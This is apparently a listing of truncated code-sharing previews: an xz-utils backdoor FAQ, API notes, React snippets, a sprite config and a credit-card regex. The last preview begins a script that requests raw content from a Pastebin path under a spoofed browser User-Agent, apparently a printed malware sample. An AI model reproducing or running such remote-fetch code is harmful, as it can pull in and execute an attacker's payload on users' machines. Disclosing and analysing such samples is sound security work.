thesamesam

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that

jabbink

AH API

Always use User-Agent: Appie/8.22.3 and Content-Type: application/json
Technically there is more information about your device and user ID after it, but the server does not seem to care

Token

If you have a valid access_token, add it as a header in request
Authorization: Bearer access_token

Madmals

content =  {
      "description": "TITLE ",
      "public": false,
      "files": 
      {
        "post1.md": {
          "content": "THIS IS WHERE CONTENT WILL BE PUT"
        }
      
      }

igorjs

React - Functional error boundaries

Thanks to React hooks you have now happily turned all your classes into functional components.

Wait, all your components? Not quite. There is one thing that can still only be implemented using classes: Error boundaries.

There is just no functional equivalent for componentDidCatch and deriveStateFromError yet.

Proposed solution

blopa

import React, { useEffect, useRef } from 'react';

function MatrixBackground({ timeout = 50 }) {
    const canvas = useRef();

    useEffect(() => {
        const context = canvas.current.getContext('2d');

        const width = document.body.offsetWidth;
        const height = document.body.offsetHeight;

mindplay-dk

function findVar(varName) {
  let seen = new Map();

  function search(obj, prefix = "") {
    if (seen.has(obj)) {
      return;
    }

    seen.set(obj, true);

blopa

::ShoeBox:shoebox.plugin.spriteSheet::PluginCreateSpriteSheet:{
	"fileFormatLoop":"\\t{\\n\\t\\t\"filename\":\"@id\", \\n\\t\\t\"frame\": {\"x\":@x, \"y\":@y, \"w\":@w, \"h\":@h},\\n\\t\\t\"anchor\": {\"x\":0,\"y\":1}\\n\\t}@,\\n",
	"texCropAlpha":true,
	"fileFormatOuter":"{\\n\"frames\": [\\n@loop\\n],\\n\"meta\": {\\n\\t\"size\": {\"w\": @W, \"h\": @H},\\n\\t\"scale\": \"1\"\\n}\\n}",
	"useCssOverHack":false,
	"fileName":"sprites.js",
	"texPadding":1,
	"texExtrudeSize":0,
	"scale":1,
	"renderDebugLayer":false,

rofc

# Based on https://baymard.com/checkout-usability/credit-card-patterns

ALL TOGETHER
============
(?:4[0-9]{3}(?:[\ -]?[0-9]{4}){3})|(?:4(?:026|405|508|844|913|917)[-\ ]?[0-9]{4}|4175[-\ ]?00[0-9]{2})(?:[-\ ]?[0-9]{4}){2}|(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)(?:[-\ ]?[0-9]{4}){3}|3[47][0-9]{2}[-\ ]?[0-9]{6}[-\ ]?[0-9]{5}|62[0-9]{2}[-\ ]?(?:[-\ ]?[0-9]{4}){3}|62[0-9]{4}[-\ ]?[0-9]{13}|(?:5[0678][0-9]{2}|6[0-9]{3})[-\ ]?[0-9]{4}[-\ ]?[0-9]{5}|(?:5[0678][0-9]{2}|6[0-9]{3})[-\ ]?[0-9]{6}[-\ ]?[0-9]{5}|(?:5[0678][0-9]{2}|6[0-9]{3})(?:[-\ ]?[0-9]{4}){3}|(?:5[0678][0-9]{2}|6[0-9]{3})(?:[-\ ]?[0-9]{4}){3}[-\ ]?[0-9]{3}|(?:30[0123459][0-9]|3[689][0-9]{2})[-\ ]?[0-9]{6}[-\ ]?[0-9]{4}|5[45][0-9]{2}(?:[-\ ]?[0-9]{4}){3}|(?:6011[-\ ]?[0-9]{4}|6221[-\ ]?2[6-9][0-9]{2}|6221[-\ ]?[3-9][0-9]{3}|622[2-8][-\ ]?[0-9]{4}|6229[-\ ]?[01][0-9]{3}|6229[-\ ]?2[0-5][0-9]{2})(?:[-\ ]?[0-9]{4}){2}|(?:352[89]|35[3-7][0-9]|358[0-9])(?:[-\ ]?[0-9]{4}){3}|1[0-9]{3}[-\ ]?[0-9]{5}[-\ ]?[0-9]{6}|5019(?:[-\ ]?[

morajabi

import { useLayoutEffect, useCallback, useState } from 'react'

export const useRect = (ref) => {
  const [rect, setRect] = useState(getRect(ref ? ref.current : null))

  const handleResize = useCallback(() => {
    if (!ref.current) {
      return
    }

hzoo

try {
  var https = require("https");
  https
    .get(
      {
        hostname: "pastebin.com",
        path: "/raw/XLeVP82h",
        headers: {
          "User-Agent":
            "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",